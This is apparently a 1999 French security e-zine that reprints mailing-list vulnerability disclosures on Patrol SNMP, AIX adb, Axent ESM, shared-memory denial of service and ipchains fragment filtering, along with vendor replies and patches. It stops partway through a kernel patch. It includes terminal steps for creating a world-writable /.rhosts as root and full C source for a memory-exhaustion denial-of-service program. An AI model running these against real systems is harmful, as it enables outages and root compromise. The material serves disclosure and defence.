[mise en page : gedit] ssssss Uuu uu ss nnnn nnnn uuu uu sssssss nn nnn nnn nnn uuu uu uu sss nnn nnn UUU uu uu ss sss nnn nnn Uuuuuuuunderground sssssecurity nnn nnnews Is a work from OrganiKs corp, by TbH... .. Introduction .. Voici un nouveau emag dont le concept pourra en étonner certain... Il ne s'agit pas ici de rassembler des textes français qui bien souvent sont des traductions de textes anglais déjà existant. Non, il faudra pour lire la suite avoir de solide base en anglais, puisque tout sera en anglais... En contre partie cette séléction offre un niveau élevé que l'on ne retrouvait plus dans les zines français. Bien que Organiks le zine semble remonter le niveau au niveau francophone... Pour la plus part ces textes dates des deux derniers mois. Des bugs relativement récents sont donc décris ici. Mais plus encore que les bugs, on retrouvera bien souvent des sources qui pourront aider certains dévellopeurs dans leur problèmes habituels... Ces textes proviennent bien entendu de news groups, et ont été triés et séléctionnés par moi même. Bienvenu à la Poste :)))... .. Disclaimer .. L'application des informations par des lecteurs (éventuels) ne sont pas de la responsabilité des differents auteurs, et en particulier de moi même qui les ai regroupés pour le plaisir de la curiosité. .. Sommaire .. Les titres donnes aux articles sont ceux donnés en subject par les auteurs. Tous les titres, suivis d'un * dans le sommaire, sont suivit de réponses. Vous retrouverez dans la section "Others", des petits trucs qui ne dépendent pas de système ou alors de systèmes minoritaires par rapport au réseau. Ainsi les annonces de programmes ou les notions qui peuvent etre appliquer a differents systeme sont regroupé la... ~~~~~~~~~~~~~~~~~ Unix & Unixlike : ~~~~~~~~~~~~~~~~~ 1.1-: Root Perms Gained with Patrol SNMP Agent 3.2 . * 1.2-: aix 4.2 4.3.1, adb. * 1.3-: Bug in Axent 5.0. 1.4-: Shared memory DoS's. 1.5-: Linux 2.2.10 ipchains Advisory. 1.6-: Possible Denial Of Service using DNS. * 1.7-: to prevert port scanning in linux 2.0.x. 1.8-: World writable root owned script in SalesBuilder (RedHat 6.0). 1.9-: Linux blind TCP spoofing, act II + others. * 1.10-: Gnumeric potential security hole. 1.11-: Paranoid? Running SSHD as normal users. * 1.12-: Remote DoS of WebTrends Enterprise Reporting Server 1.13-: Severe bug in cfingerd before 1.4.0 1.14-: serious problem in netbsd/openbsd procfs/fdesc 1.15-: Solaris rpcbind tricks. 1.16-: local libtermcap exploit. 1.17-: portmap.c Trojan. 1.18-: Cisco Security Notice: CiscoSecure Access Control Server for UNIX Remote Administration Vulnerability 1.19-: [Linux] glibc 2.1.x / wu-ftpd <=2.5 / BeroFTPD / lynx / vlock / mc / glibc 2.0.x * 1.20-: Symmetric Multiprocessing (SMP) Vulnerbility in BSDi 4.0.1 * 1.21-: [EuroHaCk] stealth-code (fwd). 1.22-: Security Bug in Oracle. 1.23-: BASS diffs 1.24-: FreeBSD (and other BSDs?) local root exploit 1.25-: libtermcap xterm exploit 1.26-: ProFTPD 1.27-: AIX security summary 1.28-: Get paste kppp *'s * 1.29-: ISS Security Advisory: Additional Root Compromise Vulnerabilities in Oracle 8 1.30-: 4.4 BSD issue -- chflags ~~~~~~~~~~~~~~~ Windows 9x/NT : ~~~~~~~~~~~~~~~ 2.1-: About IGMP and another exploit for Windows95x/98x. 2.2-: more detail and summary of kod.c (igmp bug for windows). 2.3-: ISS Security Advisory: Denial of Service Attack Against Windows NT Terminal Server. * 2.4-: telnet.exe heap overflow - remotely exploitable * 2.5-: IIS 4.0 remote DoS (MS99-029). * 2.6-: FW: DCOM attack against NT using VB6 2.7-: NT Predictable Initial TCP Sequence numbers - changes observed with SP4 * ~~~~~~~~ Novell : ~~~~~~~~ 3.1-: NMRC Advisory: Netware 5 Client Hijacking. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Others (IRC, MacOS, Conférences, etc) : ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 4.1-: MacOS system encryption algorithm. 4.2-: Sane 2000 (conférence). 4.3-: ToorCon (conférence). 4.4-: ircd exploit in ircu based code. * 4.5-: IRC: Exploit for a Bug in ircd2.10.x (qident). * 4.6-: L0pht Heavy Industries - AntiSniff. 4.7-: All Hail The AntiAntiSniffer Sniffer!. 4.8-: L0pht ICMP Router Discovery Advisory. 4.9-: AOL Buffer Overflow???. 4.10-: Update on the AOL buffer overflow exploit 4.11-: ISS Security Advisory: Buffer Overflow in Netscape Enterprise and FastTrack Web Servers ~~~~~~~~~~~~~~~~~ Unix & Unixlike : ~~~~~~~~~~~~~~~~~ _________________________________________________________________________________________________________ 1.1-:Root Perms Gained with Patrol SNMP Agent 3.2 ... (begin) : =============================================================== Problem in Patrol 3.2 --------------------- vendor: Copyright 1993-97 BMC Software, Inc. how bad: local root/denial of service example: maheaa@jedi:/opt/patrol/PATROL3.2/HPUX-PA1.1-V10/bin> ls -al snmpmagt -rwsr-xr-x 1 root users 185461 Mar 6 1998 snmpmagt* maheaa@jedi:/opt/patrol/PATROL3.2/HPUX-PA1.1-V10/bin> ls -al /.rhosts /.rhosts not found maheaa@jedi:/opt/patrol/PATROL3.2/HPUX-PA1.1-V10/bin> umask 0 (first argument must be either an invalid config file or a file that doesn't exist) maheaa@jedi:/opt/patrol/PATROL3.2/HPUX-PA1.1-V10/bin> snmpmagt yoyoyo /.rhosts yoyoyo: No such file or directory snmp bind failure: Address already in use /opt/patrol/PATROL3.2/HPUX-PA1.1-V10/bin/snmpmagt: error processing configuration maheaa@jedi:/opt/patrol/PATROL3.2/HPUX-PA1.1-V10/bin> ls -al /.rhosts -rw-rw-rw- 1 root users 770 Jul 13 14:42 .rhosts note: if the file exists it keeps the same perms, otherwise creates it with perms based on your umask and chown's to whoever owns the parent directory of the file you're creating. if the file exists it overwrites it with "i^A" then the result of gethostname() and some whitespace. this problem is not platform dependent and was tested based on out of box install on an HP. - aalness@gti.net _________________________________________________________________________________________________________ 1.1-:Root Perms Gained with Patrol SNMP Agent 3.2 ; réponse (1/2) : _________________________________________________________________________________________________________ I tested the boxes I have under my command for this prob, and got the following results: AIX 4.2.1 - running Patrol 3.1 (AIX3.2-RS) - doesnt have snmpmagt. AIX 4.2.1 - running Patrol 3.22 (AIX4.1-RS) - file created. Solaris 2.5.1 - running Patrol 3.2 (Solaris25-sun4) - file created. HP-UX 10.01 - running Patrol 3.2 (HPUX-PA1.1-V10) - file created. > note: if the file exists it keeps the same perms, otherwise creates it > with perms based on your umask and chown's to whoever owns the parent > directory of the file you're creating. if the file exists it overwrites it > with "i^A" then the result of gethostname() and some whitespace. this > problem is not platform dependent and was tested based on out of box > install on an HP. Hmmmmm - I cant seem to replicate the directory-owner prob. It seems to me that snmpmagt creates the desired file with the owner set to the same as the owner of snmpmagt. Here's a quick test I ran: " root@fish # pwd /export/home/patrol/PATROL3.2/Solaris25-sun4/bin root@fish # ls -al ./snmpmagt -rwsr-xr-x 1 root staff 120364 Aug 26 1997 ./snmpmagt root@fish # mkdir /symon/patroltest root@fish # chmod 777 /symon/patroltest root@fish # ls -al /symon | egrep "patroltest" drwxrwxrwx 2 root other 512 Jul 15 11:39 patroltest root@fish # umask 0 root@fish # ./snmpmagt cheese.cheese /symon/patroltest/cheese cheese.cheese: No such file or directory smux bind failure: Address already in use ./snmpmagt: error processing configuration root@fish # ls -al /symon/patroltest/cheese -rw-rw-rw- 1 root other 770 Jul 15 11:40 /symon/patroltest/cheese root@fish # chown patrol ./snmpmagt root@fish # ./snmpmagt cheese.cheese /symon/patroltest/cheese.2 cheese.cheese: No such file or directory snmp bind failure: Permission denied smux bind failure: Permission denied ./snmpmagt: error processing configuration root@fish # ls -al /symon/patroltest total 8 drwxrwxrwx 2 root other 512 Jul 15 11:41 . drwxr-xr-x 5 root other 1024 Jul 15 11:39 .. -rw-rw-rw- 1 root other 770 Jul 15 11:40 cheese -rw-rw-rw- 1 patrol other 770 Jul 15 11:41 cheese.2 " - Symon Aked (symon at start dot com dot au)... _________________________________________________________________________________________________________ 1.1-:Root Perms Gained with Patrol SNMP Agent 3.2 ; réponse (2/2) : _________________________________________________________________________________________________________ FYI: Also works on: SunOS name1 5.6 Generic_105181-05 sun4u sparc SUNW,Ultra-5_10 and OSF1 name2 V4.0 878 alpha Running Patrol SNMP Agent 3.2.5 ============================================================ 1.1-:Root Perms Gained with Patrol SNMP Agent 3.2 ... (End): _________________________________________________________________________________________________________ _________________________________________________________________________________________________________ 1.2-:aix 4.2 4.3.1, adb (begin): ================================ Hi, Local users can halt the operating system by 'adb' command under my AIX box. Here's a simple C program: main() { int i; for ( i = 0; i < 10; i++ ) { } return 0; } I compiled the program and run 'adb': $ cc -g -o a.out a.c $ adb a.out - adb .main,5:s a.out: running Now host halted. AIX 4.2(IBM RS/6000 F50) and AIX 4.3.1(IBM RS/6000 S70) have 'adb' problem. But AIX 4.3.2 haven't the 'adb' problem. I have tested it under my AIX box. Is it bug of AIX 4.2, 4.3.1? GZ Apple mailto:gzapple@21cn.com _________________________________________________________________________________________________________ 1.2-:aix 4.2 4.3.1, adb ; réponse (1/2) : _________________________________________________________________________________________________________ Just for confirmation: I tried this on my AIX 4.3.1 box (IBM RS/6000 F50, 1x332Mhz CPU, 128Mb RAM), and it does work. As the machine did halt, it displayed "888 102 300 0c0" at the front LCD. You could also recive this data throu the service processor by choosing: 3 - System Information 4 - Read Service Processor Error Logs The output I got from this was " 1. OS termination string received - 888 102 300 0c0" A search for this sequence in the IBM APAR database showed that the macine hanged with a DSI (Data Storage Interrupt). Only god knows what IBM means with that. This is the output of the error reporting program: bash-2.01# errpt -a -l329 --------------------------------------------------------------------------- LABEL: SCANOUT IDENTIFIER: CF8CADB6 Date/Time: tis jul 13 10.15.41 Sequence Number: 329 Machine Id: 0041072A4C00 Node Id: Class: H Type: PERM Resource Name: sysplanar0 Resource Class: planar Resource Type: sysplanar_rspc Location: 00-00 Description SYSTEM FAILURE WITH SCAN DATA Probable Causes SYSTEM HARDWARE SOFTWARE ERROR Failure Causes SYSTEM HARDWARE SOFTWARE SUBSYSTEM Recommended Actions PERFORM PROBLEM DETERMINATION PROCEDURES IF PROBLEM CONTINUES TO OCCUR REPEATEDLY THEN DO THE FOLLOWING CONTACT APPROPRIATE SERVICE REPRESENTATIVE Detail Data ERROR COUNT 1 SCAN DATA PATHNAME /usr/lib/ras/checkstop.0041072A4C00.A This was all the information that I could find. I'm now of to upgrade my AIX version level My best regards, Peter Fredriksson Systems administrator Skriptor AB email - Peter.Fredriksson@Skriptor.com Phone: +46 8-441 77 30 Fax: +46 8-698 09 09 _________________________________________________________________________________________________________ 1.2-:aix 4.2 4.3.1, adb ; réponse (2/2): _________________________________________________________________________________________________________ Quoting GZ Apple (gzapple@21cn.com): > > Local users can halt the operating system by 'adb' command under my AIX > box. > This affects AIX 4.2.x and 4.3.x (including 4.3.2). We're still working on the official fix, but here's an excerpt from the soon-to-be-released advisory. Any questions regarding this vulnerability or other AIX security holes can be sent to security-alert@austin.ibm.com. -------------------- 8< -------------------- A temporary fix is available via anonymous ftp from: ftp://aix.software.ibm.com/aix/efixes/security/adb_hang.tar.Z Filename sum md5 ====================================================================== unix_mp.42.adb_hang_fix 00772 2693 960214a1945f2c70311283adc0b231a3 unix_mp.43.adb_hang_fix 15044 3302 584d1c5ea0223110e2d8eba84388f526 This temporary fix has not been fully regression tested. The fix consists of a multiprocessor kernel which can be used on either a uniprocessor or multiprocessor machine. There may be a slight performance penalty when using a multiprocessor kernel on a uniprocessor machine. Use the following steps (as root) to install the temporary fix: 1. Determine the version of the kernel fileset on your machine. # lslpp -l If the version of the kernel fileset for your machine is not at the level described below, install the requisite APAR listed. This will help ensure that the temporary kernel fix will run properly. Release Fileset Version requisite APAR =============================================================== AIX 4.2.x bos.mp or bos.up 4.2.1.23 IY00689 AIX 4.3.x bos.mp or bos.up 4.3.2.8 IY00727 2. Uncompress and extract the fix. # uncompress < adb_hang.tar.Z | tar xf - # cd adb_hang 3. Review and run the adb_hang.sh script to install the new kernel. # view ./adb_hang.sh # ./adb_hang.sh 4. Reboot. -- Troy Bollinger troy@austin.ibm.com AIX Security Development security-alert@austin.ibm.com PGP keyid: 1024/0xB7783129 Troy's opinions are not IBM policy -Réponse : On Mon, 12 Jul 1999, GZ Apple wrote: > Local users can halt the operating system by 'adb' command under my AIX > box. > > Now host halted. AIX 4.2(IBM RS/6000 F50) and AIX 4.3.1(IBM RS/6000 S70) > have 'adb' problem. But AIX 4.3.2 haven't the 'adb' problem. I have tested > it under my AIX box. Is it bug of AIX 4.2, 4.3.1? AIX 4.3.2 has the problem too if you have the bos.adt.debug fileset installed. # which adb /usr/bin/adb # lslpp -w /usr/bin/adb File Fileset Type ---------------------------------------------------------------------------- /usr/bin/adb bos.adt.debug File mga. -- Mike Austin Computing & Information Technology Systems Programmer The University of Vermont AIX/DCE Sys Admin 802-656-8785 ============================== 1.2-:aix 4.2 4.3.1, adb (End): _________________________________________________________________________________________________________ ________________________________________________________________________________________________________ 1.3-:Bug in Axent 5.0 (begin) : =============================== Bug in Axent 5.0 for Unix Bugtraq ID 518 This information was forwarded to Security Focus. Certain checks within Axent's ESM 5.0 for Unix may prevent legitimate users from logging on to scanned hosts. Specifically, four checks within the security auditing program may cause this denial of service: * Check PATH using 'su' * Check PATH by modifying startup script * Check umask using 'su' * Check umask by modifying startup script These checks are not enabled in the default policy templates. When ESM is checking PATH (or umask) values, it will 'su' to the user's account. If the user's script calls a menu function, ESM will not respond and the check will hang. To overcome this problem, ESM copies the startup script to the /tmp directory, adds additional values to the end of the script, and copies the script back to the user's directory. The new values in the script will echo the PATH and umask values to a file called .esmvalues in the user's home directory the next time the user logs in. When ESM is run again, it will read the contents of .esmvalues to determine the PATH and umask values. This procedure eliminates the problems associated with 'su'ing to the account and hanging on a menu call. Unfortunately, when ESM copies the file to /tmp, file ownership and permissions are changed to 'root'. When the file is copied back to the user's directory, only root has access - legitimate users will not be able to execute their login script. This bug should be fixed in the upcoming 5.0.1 release. -- Elias Levy Security Focus http://www.securityfocus.com/ _________________________________________________________________________________________________________ 1.3-:Bug in Axent 5.0 ; réponse (1/1) : _________________________________________________________________________________________________________ AXENT appreciates the opportunity to respond to the issues raised with this posting. The first statement indicates that users cannot log into scanned hosts. This is not true--users can log in, but they will not be able to access their startup scripts. This bug constitutes more of an inconvenience to the user, than a security threat. The bug was discovered a short time ago and there is a current procedure for correcting the ownership of files that may have been affected. Currently there is a newer version of the affected usrfiles module that does not change the ownership of the startup scripts. This procedure and/or the updated module can be obtained by contacting AXENT support. This version of the usrfiles module is also included in the August HotFix for ESM that customers can remotely install on all systems. The hot fix is only needed for ESM 5.0 UNIX agents. Earlier versions of ESM agents do not have this problem. The fix will also be included in the upcoming ESM 5.0.1 release. As was indicated in the original posting, this check was not turned on by default and most ESM 5.0 customers have probably not used it. If you desire the procedure to correct the affected files or the updated module, please contact AXENT support at support@axent.com . Thank you, Steve Jackson ESM Technical Product Manager ============================= 1.3-:Bug in Axent 5.0 (End) : _________________________________________________________________________________________________________ _________________________________________________________________________________________________________ 1.4-:Shared memory DoS's (begin): ================================= Hello, sorry if it's considered poor form to cross post to both bugtraq and a development list, but I'm too lazy to fire off two emails. While fiddling with various IPC mechanisms and reading The Design and Implementation of 4.4BSD (What a book!), a few things struch me as potentially dangerous. According to the book, when you request a shared memory segment via mmap(), the file isn't actually physically in memory until you start to trigger page faults and cause the vnode-pager to page in the data from the file. Then, the following passage from shmctl(2) under Linux caught my eye: "The user must ensure that a segment is eventually destroyed; otherwise its pages that were faulted in will remain in memory or swap." So as it turns out that it is in fact possible to create a DoS condition by requesting a truckload of shared mem, then triggering pagefaults in the entire shared region. Now the end result is no different than a simple fork or malloc bomb, but it is considerably harder to prevent on most systems. This is mainly because: 1. The system does not check rlimits for mmap and shmget (FreeBSD) 2. The system never bothers to offer the ability to set the rlimits for virtual memory via shells, login process, or otherwise. (Linux) 3. b. The system does not actually allocate shared memory until a page fault is triggered (this could be argued to be a feature - Linux, *BSD) a. The system does not watch to make sure you don't share more memory than exists. (Linux, Irix, BSD?) 4. With System V IPC, shared memory persists even after the process is gone. So even though the kernel may kill the process after it exhausts all memory from page faults, there still is 0 memory left for the system. I suppose with some trickery you might be able to achieve the same results by shared mmap()'ing a few large files between pairs of processes. (All) I've attached a program that will exploit these conditions using either shmget(), mmap(), or by getting malloc to mmap() (those are in order of effectivness). This program should compile on any architecture. SGI Irix is not vulnerable. Reading The Design and Implementation of 4.4BSD, it sounds as if the BSDs should all be vulnerable. FreeBSD will mmap as much memory as you tell it. I haven't tried page faulting the memory, as the system is not mine. I'd be very interested to hear about OpenBSD... Also attached is a patch to util-linux-2.9o login.c (and pathnames.h) that provides a means under Linux (should be pretty portable to other OS's) to set limits for the address space limit (RLIMIT_AS: the rlimit that controls how much data you can actually map into your process). The patch is based on an old program called lshell that set limits by wrapping your shell (I've found that wrapping the shell in this way caused all sorts of problems with gdb, for some reason). sample /etc/limits file: # Limit the user guest to 5 minutes CPU time and 8 procs, 5Mb address space guest C5P8V5D2 # 60 min's CPU time, 30 procs, 15Mb data, 50 megs total address space, 5 megs # stack, 15 megs of RSS. default C60P30D15V50S5R15 At the very least, I recommend default V. You can use lowercase letters for the next lowest order of magnitude of units. The comment in the patch explains it in further detail. Note even in this case, a determined user can probably just login a dozen or so times and use SysV IPC to steal the system memory. Core wars, anyone? :) P.S. Util-linux people: I also suspect a small memory leak due to the strdup(hostname) provided by Ambrose C. Li. -- Mike Perry Proud user of both PGP 2.6.3i and GNU Privacy guard. Considering overthrowing any governments? Count me in! http://mikepery.linuxos.org/keys.html _________________________________________________________________________________________________________ 1.4-:Shared memory DoS's ; Attachd (1/2) : vmfuxx0r.c : _________________________________________________________________________________________________________ /* * This program can be used to exploit DoS bugs in the VM systems or utility * sets of certain OS's. * * Common problems: * 1. The system does not check rlimits for mmap and shmget (FreeBSD) * 2. The system never bothers to offer the ability to set the rlimits for * virtual memory via shells, login process, or otherwise. (Linux) * 3. b. The system does not actually allocate shared memory until a page fault * is triggered (this could be argued to be a feature - Linux, *BSD) * a. The system does not watch to make sure you don't share more memory * than exists. (Linux, Irix, BSD?) * 4. With System V IPC, shared memory persists even after the process is * gone. So even though the kernel may kill the process after it exhausts all * memory from page faults, there still is 0 memory left for the system. * (All) * * This program should compile on any architecture. SGI Irix is not * vulnerable. From reading The Design and Implementation of 4.4BSD it sounds * as if the BSDs should all be vulnerable. FreeBSD will mmap as much memory * as you tell it. I haven't tried page faulting the memory, as the system is * not mine. I'd be very interested to hear about OpenBSD... * * This program is provided for vulnerability evaluation ONLY. DoS's aren't * cool, funny, or anything else. Don't use this on a machine that isn't * yours!!! */ #include #include #include #include /* redefinition of LBA.. PAGE_SIZE in both cases.. */ #ifdef __linux__ #include #include #endif #include #include #include #include #include int len; #define __FUXX0R_MMAP__ /* mmap also implements the copy-on-fault mechanism, but because the only way * to easily exploit this is to use anonymous mappings, once the kernel kills * the offending process, you can recover. (Although swap death may still * occurr */ /* #define __FUXX0R_MMAP__ */ /* Most mallocs use mmap to allocate large regions of memory. */ /* #define __FUXX0R_MMAP_MALLOC__ */ /* Guess what this option does :) */ #define __REALLY_FUXX0R__ /* From glibc 2.1.1 malloc/malloc.c */ #define DEFAULT_MMAP_THRESHOLD (128 * 1024) #ifndef PAGE_SIZE # define PAGE_SIZE 4096 #endif #ifndef SHMSEG # define SHMSEG 256 #endif #if defined(__FUXX0R_MMAP_MALLOC__) void *mymalloc(int n) { if(n <= DEFAULT_MMAP_THRESHOLD) n = DEFAULT_MMAP_THRESHOLD + 1; return malloc(n); } void myfree(void *buf) { free(buf); } #elif defined(__FUXX0R_MMAP__) void *mymalloc(int n) { int fd; void *ret; fd = open("/dev/zero", O_RDWR); ret = mmap(0, n, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0); close(fd); return (ret == (void *)-1 ? NULL : ret); } void myfree(void *buf) { munmap(buf, len); } #elif defined(__FUXX0R_SYSV__) void *mymalloc(int n) { char *buf; static int i = 0; int shmid; i++; /* 0 is IPC_PRIVATE */ if((shmid = shmget(i, n, IPC_CREAT | SHM_R | SHM_W)) == -1) { #if defined(__irix__) if (shmctl (shmid, IPC_RMID, NULL)) { perror("shmctl"); } #endif return NULL; } if((buf = shmat(shmid, 0, 0)) == (char *)-1) { #if defined(__irix__) if (shmctl (shmid, IPC_RMID, NULL)) { perror("shmctl"); } #endif return NULL; } #ifndef __REALLY_FUXX0R__ if (shmctl (shmid, IPC_RMID, NULL)) { perror("shmctl"); } #endif return buf; } void myfree(void *buf) { shmdt(buf); } #endif #ifdef __linux__ void cleanSysV() { struct shmid_ds shmid; struct shm_info shm_info; int id; int maxid; int ret; int shid; maxid = shmctl (0, SHM_INFO, (struct shmid_ds *) &shm_info); printf("maxid %d\n", maxid); for (id = 0; id <= maxid; id++) { if((shid = shmctl (id, SHM_STAT, &shmid)) < 0) continue; if (shmctl (shid, IPC_RMID, NULL)) { perror("shmctl"); } printf("id %d has %d attachments\n", shid, shmid.shm_nattch); shmid.shm_nattch = 0; shmctl(shid, IPC_SET, &shmid); if(shmctl(shid, SHM_STAT, &shmid) < 0) { printf("id %d deleted sucessfully\n", shid); } else if(shmid.shm_nattch == 0) { printf("Still able to stat id %d, but has no attachments\n", shid); } else { printf("Error, failed to remove id %d!\n", shid); } } } #endif int main(int argc, char **argv) { int shmid; int i = 0; char *buf[SHMSEG * 2]; int max; int offset; if(argc < 2) { printf("Usage: %s <[0x]size of segments>\n", argv[0]); #ifdef __linux__ printf(" or %s --clean (destroys all of IPC space you have permissions to)\n", argv[0]); #endif exit(0); } #ifdef __linux__ if(!strcmp(argv[1], "--clean")) { cleanSysV(); exit(0); } #endif len = strtol(argv[1], NULL, 0); for(buf[i] = mymalloc(len); i < SHMSEG * 2 && buf[i] != NULL; buf[++i] = mymalloc(len)) ; max = i; perror("Stopped because"); printf("Maxed out at %d %d byte segments\n", max, len); #if defined(__FUXX0R_SYSV__) && defined(SHMMNI) printf("Despite an alleged max of %d (%d per proc) %d byte segs. (Page " "size: %d), \n", SHMMNI, SHMSEG, SHMMAX, PAGE_SIZE); #endif #ifdef __REALLY_FUXX0R__ fprintf(stderr, "Page faulting alloced region... Have a nice life!\n"); for(i = 0; i < max; i++) { for(offset = 0; offset < len; offset += PAGE_SIZE) { buf[i][offset] = '*'; } printf("wrote to %d byes of memory, final offset %d\n", len, offset); } // never reached :( #else for(i = 0; i <= max; i++) { myfree(buf[i]); } #endif exit(42); } ________________________________________________________________________________________________________ 1.4-:Shared memory DoS's ; Attached : Login.patch : ________________________________________________________________________________________________________ diff -ur ./util-linux-2.9o/lib/pathnames.h ./util-linux-2.9o-mp/lib/pathnames.h --- ./util-linux-2.9o/lib/pathnames.h Sun Oct 11 14:19:16 1998 +++ ./util-linux-2.9o-mp/lib/pathnames.h Wed Jul 14 22:51:13 1999 @@ -86,6 +86,7 @@ #define _PATH_SECURE "/etc/securesingle" #define _PATH_USERTTY "/etc/usertty" +#define _PATH_LIMITS "/etc/limits" #define _PATH_MTAB "/etc/mtab" #define _PATH_UMOUNT "/bin/umount" diff -ur ./util-linux-2.9o/login-utils/login.c ./util-linux-2.9o-mp/login-utils/login.c --- ./util-linux-2.9o/login-utils/login.c Sat Mar 20 14:20:16 1999 +++ ./util-linux-2.9o-mp/login-utils/login.c Wed Jul 14 22:49:24 1999 @@ -185,6 +185,7 @@ char *stypeof P_((char *ttyid)); void checktty P_((char *user, char *tty, struct passwd *pwd)); void sleepexit P_((int eval)); +void setup_limits P_(struct passwd *pwd); #ifdef CRYPTOCARD int cryptocard P_((void)); #endif @@ -1110,6 +1111,8 @@ childArgv[childArgc++] = NULL; + setup_limits(pwd); + execvp(childArgv[0], childArgv + 1); if (!strcmp(childArgv[0], "/bin/sh")) @@ -1120,6 +1123,161 @@ exit(0); } + +/* Most of this code ripped from lshell by Joel Katz */ +void process(char *buf) +{ + /* buf is of the form [Fn][Pn][Ct][Vm][Sm][Rm][Lm][Dm] where */ + /* F specifies n max open files */ + /* P specifies n max procs */ + /* c specifies t seconds of cpu */ + /* C specifies t minutes of cpu */ + /* v specifies m kbs of total virtual memory (address space) */ + /* V specifies m megs of total virtual memory (address space) */ + /* s specifies m kbs of stack */ + /* S specifies m megs of stack */ + /* r specifies m kbs of RSS */ + /* R specifies m megs of RSS */ + /* l specifies m kbs of locked (non-swappable) memory */ + /* L specifies m megs of locked (non-swappable) memory */ + /* d specifies m kbs of Data segment */ + /* D specifies m megs of Data segment */ + + struct rlimit rlim; + char *pp = buf; + int i; + + while(*pp!=0) + { + i = 1; + switch(*pp++) + { + case 'f': + case 'F': + i = atoi(pp); + if(!i) + break; + rlim.rlim_cur = i; + rlim.rlim_max = i; + setrlimit(RLIMIT_NOFILE, &rlim); + break; + case 'p': + case 'P': + i = atoi(pp); + if(!i) + break; + rlim.rlim_cur = i; + rlim.rlim_max = i; + setrlimit(RLIMIT_NPROC, &rlim); + break; + case 'C': + i = 60; + case 'c': + i *= atoi(pp); + if(!i) + break; + rlim.rlim_cur = i; + rlim.rlim_max = i; + setrlimit(RLIMIT_CPU, &rlim); + break; + case 'V': + i = 1024; + case 'v': + i *= atoi(pp)*1024; + if(!i) + break; + rlim.rlim_cur = i; + rlim.rlim_max = i; +#if defined(RLIMIT_AS) /* Linux */ + setrlimit(RLIMIT_AS, &rlim); +#else if defined(RLIMIT_VMEM) /* Irix */ + setrlimit(RLIMIT_VMEM, &rlim); +#endif + break; + case 'S': + i = 1024; + case 's': + i *= atoi(pp)*1024; + if(!i) + break; + rlim.rlim_cur = i; + rlim.rlim_max = i; + setrlimit(RLIMIT_STACK, &rlim); + break; + case 'R': + i = 1024; + case 'r': + i *= atoi(pp)*1024; + if(!i) + break; + rlim.rlim_cur = i; + rlim.rlim_max = i; + setrlimit(RLIMIT_RSS, &rlim); + break; + case 'L': + i = 1024; + case 'l': + i *= atoi(pp)*1024; + if(!i) + break; + rlim.rlim_cur = i; + rlim.rlim_max = i; + setrlimit(RLIMIT_MEMLOCK, &rlim); + break; + case 'D': + i = 1024; + case 'd': + i *= atoi(pp)*1024; + if(!i) + break; + rlim.rlim_cur = i; + rlim.rlim_max = i; + setrlimit(RLIMIT_DATA, &rlim); + break; + } + } +} + +void setup_limits(struct passwd *pw) +{ + FILE *fp; + int i; + char buf[200], name[20], limits[64]; + char *p; + + if(pw->pw_uid == 0) + { + return; + } + + if((fp = fopen(_PATH_LIMITS,"r")) == NULL) + { + return; + } + + while(fgets(buf, 200, fp) != NULL) + { + if(buf[0] == '#') + continue; + + p = strchr(buf, '#'); + if(p) + *p = 0; + + i=sscanf(buf, "%s %s", name, limits); + + if(!strcmp(name, pw->pw_name)) + { + if(i==2) + process(limits); + fclose(fp); + return; + } + } + fclose(fp); + process(limits); /* Last line is default */ +} + void getloginname() ================================ 1.4-:Shared memory DoS's (End) : _________________________________________________________________________________________________________ _________________________________________________________________________________________________________ 1.5-:Linux 2.2.10 ipchains Advisory (begin): ============================================ Linux ipchains Firewall Vulnerability data protect GmbH - Advisory #2 July 27, 1999 Authors: Thomas Lopatic John McDonald Overview -------- data protect has discovered a potential vulnerability in the Linux ipchains firewall implementation. In certain situations, it is possible for an attacker to bypass the packet filter when communicating with machines that allow incoming packets to specific ports. This attack is a variation of previously discussed fragmentation attacks, where the attacker uses fragments to rewrite parts of the TCP or UDP protocol header. In this case port information is rewritten in order to gain access to ports that should be blocked by the firewall. Included in this advisory is a patch to the 2.2.10 Linux kernel that corrects this vulnerability, and a pointer to example code that demonstrates the problem. Problem Description ------------------- The Linux ipchains firewall code has special provisions for IP fragments that do not contain enough information for transport protocol header analysis. Fragments that start at offset 0, and are not long enough to provide complete transport header information are treated like fragments with an offset > 0 (> 1 in the TCP case). This is the relevant code from ip_fw.c: if (offset == 0) { unsigned int size_req; switch (ip->protocol) { case IPPROTO_TCP: /* Don't care about things past flags word */ size_req = 16; break; case IPPROTO_UDP: case IPPROTO_ICMP: size_req = 8; break; default: size_req = 0; } offset = (ntohs(ip->tot_len) < (ip->ihl<<2)+size_req); } As mentioned above, fragments with an offset of 0, that are too short to provide a full transport protocol header, are treated like non-first fragments. This allows an attacker to perform the following port rewriting attack: 1. Attacker sends a fragment, with offset 0, a set IP_MF bit, and a full transport protocol header which meets the packet filter and is passed to the victim machine. 2. Attacker sends a fragment, with offset 0, a set IP_MF bit, and a length of 4 bytes. This contains the (blocked) ports that the attacker wishes to access on the victim machine. This fragment will be accepted by the firewall and overlap - in the victim machine's reassembly chain - the port information contained in the fragment sent in step 1. 3. Attacker sends a fragment with a cleared IP_MF bit, starting where the first fragment left off, that completes the set of fragments. Depending on the defragmentation strategy of the victim machine's operating system, it might be necessary to swap steps 1 and 2. It is important to note that there are two conditions that must be met for a particular ipchains packet filter to be vulnerable: 1. The packet filter must not be configured with the Linux kernel option CONFIG_IP_ALWAYS_DEFRAG. If the packet filter reassembles the fragments before doing the firewall checks, then this attack will fail. 2. The packet filter must have a rule to allow non-first fragments to pass. The Linux ipchains how-to suggests that either an administrator selects CONFIG_IP_ALWAYS_DEFRAG, or implements such a rule. This rule was considered to be safe because fragments with an offset of 1 are blocked by the packet filter, which prevents attacks based on rewriting the TCP flags. Fix Information --------------- The following Linux kernel patch (against version 2.2.10) will close this vulnerability by blocking packets that could be used to rewrite header information in this fashion. It is also possible to reconfigure the ipchains machine to always defragment packets, or to remove any rule which passes non-first IP fragments through the firewall ("-f" option of the "ipchains" command). The latter, however, might introduce incompatibilities, e.g. with applications that transmit large UDP datagrams across the firewall and hence cause IP fragmentation. *** linux.old/net/ipv4/ip_fw.c Wed Jun 9 05:33:07 1999 --- linux/net/ipv4/ip_fw.c Fri Jul 23 19:20:45 1999 *************** *** 37,42 **** --- 37,45 ---- * 19-May-1999: Star Wars: The Phantom Menace opened. Rule num * printed in log (modified from Michael Hasenstein's patch). * 